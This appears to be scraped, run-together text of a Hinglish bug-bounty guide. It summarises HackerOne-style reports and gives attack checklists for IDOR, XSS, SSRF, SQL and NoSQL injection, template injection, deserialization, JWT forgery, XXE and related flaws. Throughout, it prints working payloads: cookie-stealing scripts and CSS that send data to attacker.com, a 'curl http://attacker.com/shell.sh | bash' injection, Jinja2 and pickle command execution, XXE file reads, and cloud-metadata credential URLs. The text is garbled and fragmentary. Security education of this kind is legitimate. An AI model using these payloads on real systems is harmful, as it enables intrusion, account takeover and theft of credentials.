38 Real Disclosed HackerOne Reports + 62 Illustrative Composite Scenarios · IDOR · XSS · SSRF · Race Conditions · Auth Bypass · Privilege Escalation
device_id ja rahi thi. Attacker ne apni device_id ko victim ki device_id se replace kiya. Server ne ownership verify nahi ki aur victim ka device unlink kar diya — bina kisi permission check ke.device_id ko kisi doosre user ki ID se replace karo.POST /api/update_permission intercept karke role=viewer ko role=admin kar diya. Server ne sirf request dekhii, role check nahi kiya — attacker Admin ban gaya!role=1 ko role=0 ya role=admin mein badlo./api/admin/... endpoints access karo.user_id daal kar unki permissions badlo.POST /api/v1/delete_user_data?id=6677. Server sirf login check karta tha. Attacker ne id=6677 badal kar id=5544 (victim) kiya — victim ka saara data permanent delete ho gaya. Script se mass deletion posse!id, user_id, uid, account_id — doosre user ki ID dalo.id[]=victim_id&id[]=your_id format test karo.POST, PUT, DELETE with same ID.action=report tha. Researcher ne isse badal kar action=delete kiya. Server ne bina Admin check kiye post delete kar diya — koi bhi kisi ki bhi post delete kar sakta tha!action=report ko action=delete, edit, update karo.post_id badal kar kisi aur ki dalo._method=DELETE ya _method=PUT add karo./api/v1/delete vs /api/v2/delete mein permissions different hain?PATCH /api/users/[attacker_id] mein attacker_id badal kar victim_id kiya. Server ne bina verify kiye victim ka email update kar diya. Phir "Forgot Password" se pura account takeover!user_id ya uuid badlo.is_verified: true add karke bina verification ke email badlne ki koshish karo.plan_id free se premium badlo — paid features mile?javascript:alert(1) ya file:///etc/passwd dalo.?next=, ?redirect=, ?url= mein evil.com dalo.google.com.evil.com ya @evil.com se blocklist bypass karo.аpple.com — Cyrillic 'а'). Application ne ASCII validation kiya, Greek/Cyrillic skip kiya. Fake link "safe" pass ho gayi — system ne link automatically create kar di!e ki jagah е).xn-- format wale domains allow ho rahe hain?facebook.com blocked hai? fаcebook.com (Cyrillic 'а') try karo.alert(), print(), ya download prompt ke waqt background page clicks capture kar raha hai?X-Frame-Options: DENY lagao.<a href="file:///etc/passwd" download="prize.txt">. Browser ne file:// protocol ko download attribute mein restrict nahi kiya. User ne "Claim Your Prize" click kiya — uski local system file download ho gayi as "prize.txt"!file://, data:, blob: download links mein allowed hain?../../etc/passwd download attribute mein kaam karta hai?.txt file ko .exe ya .sh banakar download ho sakti hai?/etc/passwd, ~/.ssh/id_rsa, ~/.bash_history.0.0.0.0 par bind kiya (sirf 127.0.0.1 nahi). Public WiFi par baitha koi bhi attacker computer ke IP se service access kar sakta tha — torrent settings, downloads, internal data sab exposed!netstat -ano se dekho service kaunsi IP par listen kar rahi hai.IP:PORT access karne ki koshish karo.is_verified check hi nahi ho raha tha. Attacker Guardian ban gaya bina email inbox access kiye — Account Takeover ready!verified: false ko verified: true badlo./verify/success ya /dashboard seedha kholo bina link click kiye.email=victim@target.com&email=attacker@evil.com daal kar dekho verification kahan jaata hai.success:false ko success:true karo.000000 / null daalo.g-recaptcha-response pura delete karke request bhejo."" chhod do.abc123 ya random text dalo.POST /api/confirm_order bheja — order confirm ho gaya bina OTP ke!/order/success ya /api/complete request bhejo.otp_verified=true ya step=verified add karo.status:success karo."" ya null rakhne par server allow karta hai?/reset-password?token=[verification-token] mein daala — password change ho gaya!action=verify ko action=reset_password karo.<img src="https://attacker.com/log?data=x"> inject kiya. Jaise hi victim page open karta — browser automatic attacker server par request bhejta. Victim ka IP, User-Agent, aur sensitive Referrer info — zero clicks mein leak!<img>, <iframe>, <svg> tags insert karo user content fields mein.background-image: url(...) se data bahar bhej sakte ho?<img> blocked? <svg onload=...> ya encoded formats try karo.Artist field mein <script>alert("XSS")</script> inject kiya. Upload ke baad jab bhi koi image details dekhta — script execute ho jaati!exiftool -Artist='<script>alert(1)</script>' image.jpg run karo.<script>alert(1)</script>.jpg rakho..svg file upload karo jisme <script> tag ho.Copyright, Comment, Software, Description bhi test karo./v1/comments/update mein auth token ki zaroorat nahi thi. Attacker ne bina login kiye XSS payload bheja: {"comment": "<svg/onload=alert(1)>"}. Emojis ke saath mix karke WAF bypass bhi hua. Jab bhi admin page visit karta — session cookie chori!{"comment": "<svg/onload=alert(1)>"}.http://attacker.com request trigger hoti hai?amount=500.00 plain text ja raha tha. Burp se intercept karke amount=1.00 kiya. Smart2Pay ne $1 charge kiya, server ne price verify kiye bina order confirm kar diya. $500 product = $1 mein! Bhari financial loss!amount, price, quantity intercept karke badlo.currency=USD ko currency=INR karo — same numeric value, very different actual amount.amount=-100 — kya server credit karta hai attacker ke wallet mein?private-namespace/private-project@[commit-id]. GitLab backend ne reference resolve kiya aur private commit ka title aur team comments display kar dia — "Fixed API key leak", internal server IPs — attacker ko bina access ke!/api/v4/projects/[ID] par request bhejne se private metadata milta hai?window.intercomSettings — doosre users ki IDs aur sensitive metadata exposed! Identity Verification (HMAC) enabled nahi thi. Attacker dusre users ke behalf par chat shuru kar sakta tha / unke private support chats access kar sakta tha.window.intercomSettings, window.config check karo. Sensitive data dikh raha hai?user_email ya user_id badal kar kisi aur ke behalf par chat shuru karo.window object inspect karo. Developers aksar configuration objects mein API keys aur user secrets chhod dete hain.curl -I data.gov/file response mein: x-amz-meta-s3cmd-attrs: uid=0(root)! AWS S3 internal metadata headers se pata chala files Root User se manage ho rahi hain. Attacker ka RCE roadmap ready — agar RCE mila toh direct root access!x-amz-meta-, x-amz-id-2 sensitive info leak kar rahe hain?Server: Apache/2.4.1 ya X-Powered-By: PHP/5.4 dikh raha hai?10.0.0.x, 172.16.x.x) dikh raha hai?https://[bucket].s3.amazonaws.com par "List Objects" enabled hai?#access_token=...). Attacker ne redirect_uri manipulate kiya — token apne server par aaya. Chori kiye gaye token se victim ka profile, purchases, private messages — sab access!redirect_uri ko attacker.com karo — token wahan aata hai?state parameter missing hai? Tum kisi ko force-login kisi dusre account mein karwa sakte ho?Bearer, API_KEY, secret keywords search karo.role=administrator. Backend ne check nahi kiya ki Moderator role change kar sakta hai ya nahi. Request process hui — Moderator instantly Super Admin ban gaya with full site control!role, type, group_id ko admin mein badlo./admin/, /api/v1/settings/, /dashboard/manage_users access karo.X-Original-URL ya X-Rewrite-URL headers se admin pages forceful browsing karo.user_id daal kar unka role change karo.admin:admin abhi bhi kaam karta hai?http://169.254.169.254/latest/meta-data/ (AWS Metadata). Server ne internal request maar di aur AWS API keys, environment variables error/preview mein expose kar diye. Cloud credentials = Full AWS Account Compromise!http://127.0.0.1, http://localhost, http://169.254.169.254 (AWS metadata) hit karo.http://127.0.0.1:22, :3306, :8080 — kaunse ports open hain?file://, gopher://, dict://, ftp:// protocols try karo.attacker.com/img → http://localhost:80) taaki filter bypass ho.<image xlink:href="http://attacker-server.com/test.jpg"/>. Upload ke baad log mein attack server ka IP aaya from internal 10.0.x.x. Server ka internal IP leak! Ab internal ports scan karke AWS metadata chura sakte hain via DNS rebinding.<image> ya <feImage> tags mein external URLs test karo.<img> tag daalne se server external requests bhejta hai?127.0.0.1) dalo.name=Cyber&email=test@mail.com. Attacker ne add kiya: &is_admin=true. Framework ne automatically database model mein map kar diya. Page refresh ke baad — Admin Dashboard access! Developer ne "Allow-list" fields specify nahi ki thi.is_admin, admin, role, type, is_premium, verified parameters add karo.{"name":"test", "is_admin":true} — extra keys add karo.role=admin daalne se seedha admin account banega?["read", "write", "delete", "admin"] manually set karo permissions array mein.site.com/reset?token=123 URL mein secret token tha. Page par external links (Help, Social Media) bhi thi. Jab victim in links par click karta, browser Referer header mein pura URL (token ke saath) external site ko bhej deta. Attacker third-party site ke logs mein token pakad karta aur password reset kar leta.Referrer-Policy: no-referrer hai? Nahi toh potential bug hai.?token= (Query) mein hai ya #token= (Fragment) mein? Fragment Referer mein nahi jata — secure method hai.site.com/view?lang=en.php — server backend mein include("lang/en.php") kar raha tha. Attacker ne ?lang=../../../../../../etc/passwd inject kiya. Server ne bina check kiye peeche jakar Linux password file print kar di. Windows par: ../../../../windows/win.ini.?page=, ?lang=, ?file= mein ../../etc/passwd (Linux) ya ../../../../windows/win.ini (Windows) dalo.?page=../../etc/passwd%00 extension bypass karta hai.php://filter/convert.base64-encode/resource=config.php — source code Base64 mein mil jaata hai.../ filter ho raha hai? Try ....//....// — filter sirf ek baar remove karta hai./var/log/apache2/access.log access milne par User-Agent mein PHP code inject karo → RCE!state parameter missing tha. Attacker ne Facebook link process shuru ki, callback URL copy ki (apna auth code), aur malicious page banaya. Victim click karte hi unka account attacker ke Facebook se link ho gaya. Ab attacker "Login with Facebook" se victim ke account mein ghus sakta tha.&state=xyz123 hai? Nahi toh 99% CSRF vulnerable hai.AWS_SECRET, AKIA, firebase_url keywords mile. AWS master keys milne ke baad company ke pure cloud storage (S3 Buckets) ka access le liya — data steal, delete, ya ransom!AIza (Google), AKIA (AWS), secret, password, bearer.[app].firebaseio.com/.json append karo — kya data bina auth ke dikh raha hai?AndroidManifest.xml mein android:debuggable="true" hai? Security risk hai.input[value^="a"] { background-image: url('http://attacker.com/?char=a'); }. Jab victim ne password reset page khola, CSS ek-ek character match karti gayi aur poora token attacker ke server logs mein pahunch gaya. WAF bhi bypass kyunki CSS "safe" samjha jata hai!url() se kisi external domain se image ya font load ho sakti hai?[value^="a"] se har character ke liye DNS request aati hai? Input token char-by-char leak!@import rule allow hai? Dynamic CSS chain bana kar character-by-character exfil karo.data:image/svg+xml inject kar sakta hoon jo further requests maare?style tag ya inline CSS mein special chars ([ ] ( )) filter ho rahe hain?println "whoami".execute().text likha — server ne "root" print kiya! Phir reverse shell payload dala aur poora server terminal attacker ke computer par khul gaya.http.title:"Jenkins", Google Dork: inurl:/script site:.com.println "whoami".execute().text ya println "id".execute().text.8.8.8.8; cat /etc/passwd ya 8.8.8.8 | id.{{7*7}} daalne par 49 aata hai? Wahan se system access mil sakta hai.GET /v2.x/[victim_id]?fields=email,mobile_phone,birthday request bhejne par server "Private" settings ignore karke personal phone number aur email address return kar deta tha. API ne verify nahi kiya ki requestor ke paas permission tha ya nahi — BOLA vulnerability.?fields=all ya ?expand=profile se extra data nikalo jo UI par nahi dikh raha.email, phone, ssn, is_admin, password_hash, backup_codes./v1/user/123 secure hai par /v2/user/123?fields=email nahi — dono test karo. Field-level authorization ek alag layer hai, aksar bhuli jaati hai.org:CompanyName "password". Commit History mein purane commit mein db_password=SuperSecret123 plain text mein mila. Isi password se company ke live database mein ghus gaya — bina kisi website request ke!filename:.env, filename:config.php, "JDBC_CONNECTION_STRING" search karo.site.com/.git/config accessible hai? Agar haan, poora source code download kar sakte ho!blog.site.com 404 de raha tha lekin error Tumblr ka tha — matlab company ne DNS CNAME chhoda tha jo deleted service ko point kar raha tha. Attacker ne Tumblr par new account banaya aur blog.site.com ko claim kar liya. Ab blog.site.com par attacker ka content — phishing pages, fake login forms!dig subdomain.site.com CNAME — kahan point kar raha hai?*.target.com ke liye set hain? Takeover = cookie stealing bhi!rO0AB... se shuru hoti hai (Java serialized object). Attacker ne ysoserial se malicious payload generate kiya: whoami command. Base64 encode karke cookie mein replace kiya. Server ne cookie deserialize karte hi command execute ki aur output return kiya. Full RCE!rO0AB... (Java), O:4:"User"... (PHP), gASV... (Python Pickle).Content-Type: application/x-java-serialized-object accept kar rahi hai?Host header ka use kar raha tha. Attacker ne request intercept ki aur Host: site.com ko Host: attacker.com kar diya. Server ne victim ko email bheja: https://attacker.com/reset?token=SECRET. Victim ne click kiya — token attacker ke logs mein aa gaya!Host header badalne par server response mein ya email link mein naya domain reflect ho raha hai?X-Forwarded-Host: evil.com — load balancers aksar ise accept karte hain.Host: site.com aur Host: evil.com.Host: site.com:1337 — kya port number link mein reflect ho raha hai?/api/v1/get_video_info/[video_id] sirf authentication check karta tha, ownership nahi. Attacker ne video_id 1001 ko 1002 (kisi aur ki private video) badla — server title, description, aur direct MP4 download link bhej diya. Bina permission ke private videos accessible!PATCH request se public: false ko public: true karke kisi aur ki private file public kar sakte hain?/api/v1/metadata/[id] data return kar raha hai?Referrer-Policy: no-referrer ya strict-origin-when-cross-origin set hai?#fragment ke baad hai token? Fragment Referer mein nahi jata — secure hota hai.<img> ya CSS file hai jo external domain se load ho rahi hai?POST /api/v1/orders/5566/cancel. Server sirf login aur "order shipped nahi hai" check karta tha. Attacker ne 5566 badal kar 5565 (victim ki order) kiya — server ne cancel kar diya! Script se mass cancellation — company ka poora flash sale DoS attack!DELETE /api/orders/[id] ya PUT /api/orders/[id] try karo.1001 (Number) aur "1001" (String) dono accept karta hai? Type-casting mein logic bypass ho sakta hai.<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role" width="500" height="500"></iframe>. "Download PDF" click karne par PDF engine ne AWS Metadata server se response fetch kiya aur PDF ke andar print kar diya. AccessKeyId, SecretKey, Token — sab mil gaya!<u>, <h1> inject karo — PDF mein render ho rahe hain?<iframe src="file:///etc/passwd"> ya <img src="file:///etc/passwd">.<img src="http://169.254.169.254/latest/meta-data/">.<script>document.write(window.location)</script> — kuch generators JS support karte hain.https://example.com/.env khola — file download ho gayi: DB_PASSWORD=admin123, AWS_SECRET=AKIA..., STRIPE_KEY=sk_live.... Phir /.git/config se internal repo URL aur developer details mile. GitTools se poora source code server se extract kar liya — bina kisi password ke!/.env, /.env.local, /.env.bak, /config.php.bak./.git/, /.svn/, /.hg/ accessible hain? /.git/index try karo./backup.zip, /project.tar.gz, /www.rar, /website.bak./.vscode/, /.idea/ — editor files sensitive paths leak karti hain./phpinfo.php, /server-status, /db.sql, /backup.sql.Host header directly block hai, load balancers aksar X-Forwarded-Host ko priority dete hain. Attacker ne X-Forwarded-Host: attacker.com add kiya. Server ne email banaya https://attacker.com/reset?token=.... Web cache poisoning ke case mein har user ko malicious link dikhne lagi — ek request se mass impact!X-Forwarded-Host: evil.com header add karo — server link mein reflect ho raha hai?Host: site.com ke neeche aur ek Host: evil.com add karo.Host: site.com:80@evil.com — ambiguous parsing se bypass?site.com/messages/view/5001. Attacker ne 5001 ko 5000, 4999 badla — server ne check nahi kiya ki logged-in user is message ka sender ya receiver hai ya nahi. Database query: SELECT * FROM messages WHERE id=5000 — aur do anjaan logon ki private baatein screen par! Script se 1 se 100000 tak crawl.id badal kar kisi aur ka message, notification, attachment dekho.download/file/101.jpg → 100.jpg.group_id use karke messages read kar sakte hain?/api/v1/messages/ puri list return kar rahi hai bina proper filter ke?site.com/oauth/authorize?redirect_uri=site.com/callback. Attacker ne redirect_uri badla: site.com/login?next=https://attacker.com/. Victim ne login kiya — OAuth successful — server ne victim ko attacker.com par token ke saath redirect kiya: attacker.com/?code=VICTIM_TOKEN. Attacker ne token use karke account access liya!?next=, ?redirect=, ?url= mein https://google.com daalne par redirect ho raha hai?site.com.attacker.com ya attacker.com?q=site.com.//attacker.com (protocol-relative), %2f%2fattacker.com (encoded).redirect_uri badalne par server kisi bhi domain par token bhej raha hai?__schema query enabled thi. Attacker ne bheja: query { __schema { queryType { fields { name } } } } — server ne saari available queries aur mutations ki list bhej di. Hidden mutation: resetAdminPassword(email: String) bhi mil gayi! Database blueprint = attack roadmap.__schema query kaam kar rahi hai? GraphQL Voyager ya InQL tools use karo./graphiql ya /playground publicly accessible hain?user → friends → user → friends...site.com se accept karta hai? Try site.com.attacker.com.http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role. Server ne internal metadata fetch kiya aur screen par print kiya: AccessKeyId, SecretAccessKey, Token. AWS CLI setup karke company ke S3 Buckets, EC2 — poora cloud access! "Lottery" bug bounty.http://169.254.169.254/latest/meta-data/http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google header required).http://169.254.169.254/metadata/instance?api-version=2017-08-01http://2852039166/, Hex: http://0xa9fea9fe/http://[fd00:ec2::254]/latest/meta-data/gASV... se shuru hoti hai (Pickle). Attacker ne malicious class banaya: def __reduce__(self): return (os.system, ('id',)). Base64 encode karke cookie mein replace kiya. Server ne pickle.loads() kiya — id command execute! Reverse shell possible.gASV... se shuru hoti hai? Pickle signature hai!O:4:"User":2:{s:8:"username"... pattern? PHP magic methods exploit karo.rO0AB... (Base64) pattern? ysoserial tool use karo.node-serialize library: {"_$$ND_FUNC$$_": "function()..."} pattern.0 par request khatam ki. SMUGGLED part buffer mein reh gaya aur agle innocent user ki request se chipak gaya — unki cookies steal!Transfer-Encoding: xchunked ya Transfer-Encoding: chunked, chunked.HTTP/1.1 401 Unauthorized aur {"status":"fail"}. Attacker ne badla: HTTP/1.1 200 OK aur {"status":"success"}. Browser khalida — seedha victim ka dashboard! 2FA ka poora purpose khatam.401 Unauthorized ya 403 Forbidden ko 200 OK karne se access milta hai?success: false → true, is_admin: 0 → 1.{} ya [] bhejne se validation bypass ho raha hai?/dashboard URL par ja kar OTP step bypass ho raha hai?user_pref=123. Server ne ise DB query mein directly concatenate kiya. Attacker ne cookie badli: user_pref=123' UNION SELECT 1,username,password FROM users--. Query: SELECT settings FROM prefs WHERE id='123' UNION SELECT 1,username,password FROM users--. Poora Users Table screen par!Cookie: id=123' OR 1=1-- — har cookie parameter test karo.X-Forwarded-For: 127.0.0.1' AND (SELECT SLEEP(5))--SLEEP(5) se response delay test karo.run: echo "Processing: ${{ github.event.issue.title }}". Attacker ne issue title rakha: Check"; curl http://attacker.com/shell.sh | bash; #. Workflow trigger hote hi echo command ke baad attacker ka curl execute ho gaya. GITHUB_TOKEN aur AWS secrets exfiltrate!run step mein ${{ github.event... }} directly hai? Environment variables use karo instead.GITHUB_TOKEN ki permissions read-all ke bajaye minimum required par set hain?1 → -100 kar diya. Maths: iPhone $1000 + USB (-$1000) = Total $0. Checkout ho gaya! Payment gateway ne $0 ki request process ki aur order confirm.quantity=-1, amount=-100, discount=-50 kya accept ho raha hai?currency=USD → currency=INR — same numeric, very different actual amount!total_price request mein directly bheja gaya hai? total_price=0.01 try karo.$0.99 ki 100 items lene par rounding galti se bill kam ban raha hai?{{ 7*7 }} rakha — received email mein 49 tha! Jinja2 template engine user input evaluate kar raha tha. Attacker ne payload diya: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} — email generation ke time id command run ho gayi. Full RCE!{{ 7*7 }} → 49 (Jinja2/Twig), ${ 7*7 } → 49 (Java), <%= 7*7 %> → 49 (ERB).{{config}}, {{settings}} ya ${class.toString()} — internal settings leak ho rahi hain?{"alg":"HS256"}. Attacker ne Attack #1: alg: "none" karke signature remove kiya — kuch servers accept karte hain! Attack #2: RS256→HS256 confusion — server ka public key (jo public hota hai) HS256 secret ki jagah use kiya aur valid token forge kiya. Payload: {"role":"admin"} — Admin banno!alg: "none" ya alg: "None" karke signature hata do — server accept kar raha hai?user_id, role, is_admin — ek bar token fake ho jaye toh sab possible hai.jku ya kid parameter hai? External URL inject karke fake keys provide karo.<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>. Server ne XML parse kiya, entity replace ki — response mein /etc/passwd ka content print ho gaya! Network access ke liye http:// protocol use karke SSRF bhi possible.<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>SYSTEM "http://169.254.169.254/latest/meta-data/" — cloud metadata fetch.password: {"$ne": "xxx"} bheja (JSON). Server parses: MongoDB query bani {username: "admin", password: {$ne: "xxx"}} — "password jo 'xxx' nahi hai wala admin user dhoondho." Admin ka real password is nahi hai "xxx" — query success! Login bina password ke!application/x-www-form-urlencoded → application/json karo aur JSON operators try karo.{"password": {"$ne": "anything"}} — "password is not equal to anything".{"password": {"$regex": ".*"}} — "any password".{"password": {"$gt": ""}} — "any non-empty password".password[]=invalid URL form mein — PHP/Node ne array pass kiya toh operator work kare!site.com/?__proto__[isAdmin]=true. Backend code: JSON.parse(user_input) bina sanitization ke. Object.prototype.isAdmin true ho gayi — saare objects ke liye (including req object) isAdmin property true return karne lagi. Middleware check: if(req.isAdmin) pass ho gaya — instant admin!?__proto__[x]=y ya ?constructor[prototype][x]=y request mein add karo.{"__proto__":{"isAdmin":true}} ya {"constructor":{"prototype":{"isAdmin":true}}}?__proto__[innerHTML]=<img onerror=alert(1) src=x> — DOM mein inject ho raha hai?child_process dhundho — RCE bhi possible!attacker.com first resolve → 1.1.1.1 (valid) — filter pass. Connection ke waqt TTL expire → DNS re-resolve → ab 127.0.0.1. Server ab internal service se baat kar raha hai filter ke baad!2130706433, Octal: 0177.0.0.1, IPv6: ::1.http://127.0.0.1/admin par. Kya server follow karta hai?http://127.1, http://0x7f.0x0.0x0.0x1, http://[::ffff:127.0.0.1].http://169.254.169.254, IMDSv2: Token fetch karke header mein do.Access-Control-Allow-Origin: [reflected request origin] aur Access-Control-Allow-Credentials: true. Attacker ki site (evil.com) ne AJAX request ki — server ne evil.com ko allow kiya aur user ki cookies bhi bhej di. fetch('https://api.site.com/user/profile', {credentials:'include'}) se victim ka private data steal!Origin: evil.com header add karo. Response mein Access-Control-Allow-Origin: evil.com aaya? Critical!Origin: null — sandbox iframes se null origin aata hai. Server allow kar raha hai?Origin: evilsite.com block ho par Origin: evil-site.com allow ho (regex galti)?Origin: attackersite.com.victim.com — regex victim.com$ hoga pass?ACAC: true bhi hona chahiye exploitation ke liye.POST /api/user/123 {"name":"Anand","email":"a@b.com"}. Attacker extra parameter add kiya: {"name":"Anand","email":"a@b.com","role":"admin","is_verified":true}. Server ne sab fields blindly accept karke DB update kar di — Mass Assignment! Anand ab Admin hai.role, is_admin, is_verified, account_type, credits add karo.{"user":{"role":"superadmin"}} ya {"permissions":{"admin":true}}.{"balance":999999} — wallet ya store balance inflate ho raha hai?<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('http://attacker.com/?c='+document.cookie)</script></svg>. Jab bhi koi profile visit karta, SVG mein embedded JavaScript execute hota — cookies attacker ke server par! Stored XSS wali site puri zindagi vulnerable!Content-Type: image/jpeg set karo par file SVG content ke saath upload karo.file.php.jpg, file.php%00.jpg, file.svg etc.site.com/login?next=//evil.com/fake-login. Site ke domain par trust hone se employee ne login kiya — redirect evil.com par, jo bilkul real jaise dikhta tha, credentials stole. Combine karo XSS ke saath: ?next=javascript:alert(document.cookie) — ek click mein session cookies!?next=, ?redirect=, ?return_to=, ?goto=, ?target=.//evil.com — browser https://evil.com as interpret karega.javascript:alert(document.cookie) — sirf XSS nahi, instant cookie theft.%2f%2fevil.com ya %68%74%74%70%73://evil.com.site.com/callback?code=AUTH_CODE_123 intercept ki. AUTH_CODE_123 ko dusri request mein use kiya — server ne valid mana aur fresh access token de diya! Authorization codes "single use + short lived" hone chahiye — par server ne enforce nahi kiya.X-Frame-Options ya CSP frame-ancestors header nahi tha. Attacker ne: iframe mein site embed ki, paar us par transparent "Win $1000! Click Here!" button rakha aligned with Delete Account button. Victim ne "Win" click kiya — aseel mein delete button click ho gaya — account gone forever!<iframe src="https://site.com/account/delete"></iframe> — load ho raha hai?X-Frame-Options: DENY ya SAMEORIGIN hai?Content-Security-Policy: frame-ancestors 'none' set hai?company-dev-assets. URL: s3.amazonaws.com/company-dev-assets — XML file listing! aws s3 ls s3://company-dev-assets --no-sign-request — sab files dikh gayi. Write access bhi tha — attacker ne JS file replace ki. Ab company ki real website attacker ka malicious JavaScript run kar rahi thi — watered hole attack!company-name, company-dev, company-prod, company-backup, company-assets.aws s3 ls s3://bucket-name --no-sign-requestaws s3 cp test.txt s3://bucket-name/test.txt --no-sign-request<script src="https://xss.ht/attacker"></script>. Submit karne ke baad kuch nahi dikh raha (frontend safe). Lekin jab Admin ne Support Dashboard par ticket open kiya, admin browser ne script execute ki — Admin ki session cookies attacker ke XSS Hunter par aain. Full Admin takeover!http://localhost:8080/admin — server ne fetch karke response return kiya: Internal Admin Dashboard HTML! Phir http://localhost:6379/ (Redis port) — Redis unauthenticated access! http://169.254.169.254/ — AWS IAM keys!http://127.0.0.1/, http://localhost:8080/, http://10.0.0.1/.file:///etc/passwd ya file:///proc/self/environ.http://[your-collaborator-url]/ — kya server actually request karraha hai?<form action="site.com/change-email" method="POST"><input name="email" value="attacker@evil.com"></form><script>document.forms[0].submit()</script>. Victim ne page load kiya — automatically site.com par email change request gayi with victim's cookies — email changed — password reset sent to attacker!SameSite=None; Secure hai? Cross-site requests mein cookie jaati hai?Content-Type: application/json wali requests — text/plain se simple form CSRF work kar rahi hai?company-utils package (private npm). Attacker ne public npm par usi naam se package publish kiya — higher version number (99.0.0) ke saath. Developers ke CI/CD system ne default public npm prefer kiya — company-utils@99.0.0 download ho gayi (reverse shell ke saath). Har developer's machine aur build server infected!postinstall script — automatically execute hota hai install ke baad.@company.com emails ke liye. Developer ne regex likhi: /company\.com$/. Attacker ne attacker@company.com.evil.com use kiya — regex match! Ya @company.com'-- SQL injection mein email field se validation bypass! Access to corporate features without real corporate email.company\.com$ hai? Try attacker@company.com.evil.com.@cornpany.com, @company.co kya work karta hai?@subdomain.allowed-domain.com — email receive karo aur register karo.@disposable.com — kya server blocklist use karta hai ya allowlist? Blocklist easy to bypass hai.user+anything@allowed.com address user@allowed.com par deliver hota hai.mutation { deleteUser(id: "123") }. Normal user token ke saath request bheji — server ne check nahi kiya ki ye admin-only mutation hai. User 123 delete! Mutation makeUserAdmin(id: "attacker_id") bhi available thi — self-promotion to admin without any check!deleteUser, banUser, makeAdmin bhejo.adminNotes, internalDetails jaise fields hain — kya return ho rahe hain?mutation { a: deleteUser(id:1) b: deleteUser(id:2) } — multiple operations ek request mein.{"alg":"HS256","kid":"secret_key_v1"}. Server ne kid se file read ki verification ke liye. Attacker ne kid badla: ../../dev/null — /dev/null ka content empty hai = HS256 secret is empty string. Ab attacker ne empty string se JWT sign kiya — pure valid token! SQL Injection variation: kid: "' UNION SELECT 'hacked_secret'--"kid field badal kar Path Traversal try karo: ../../dev/null.kid: "' UNION SELECT 'attacker_secret'--" — DB se custom secret return!jku: "https://attacker.com/jwks.json" — apna public key bhejo, attacker ke private key se sign karo.jwk header field mein attacker ka public key embed karo.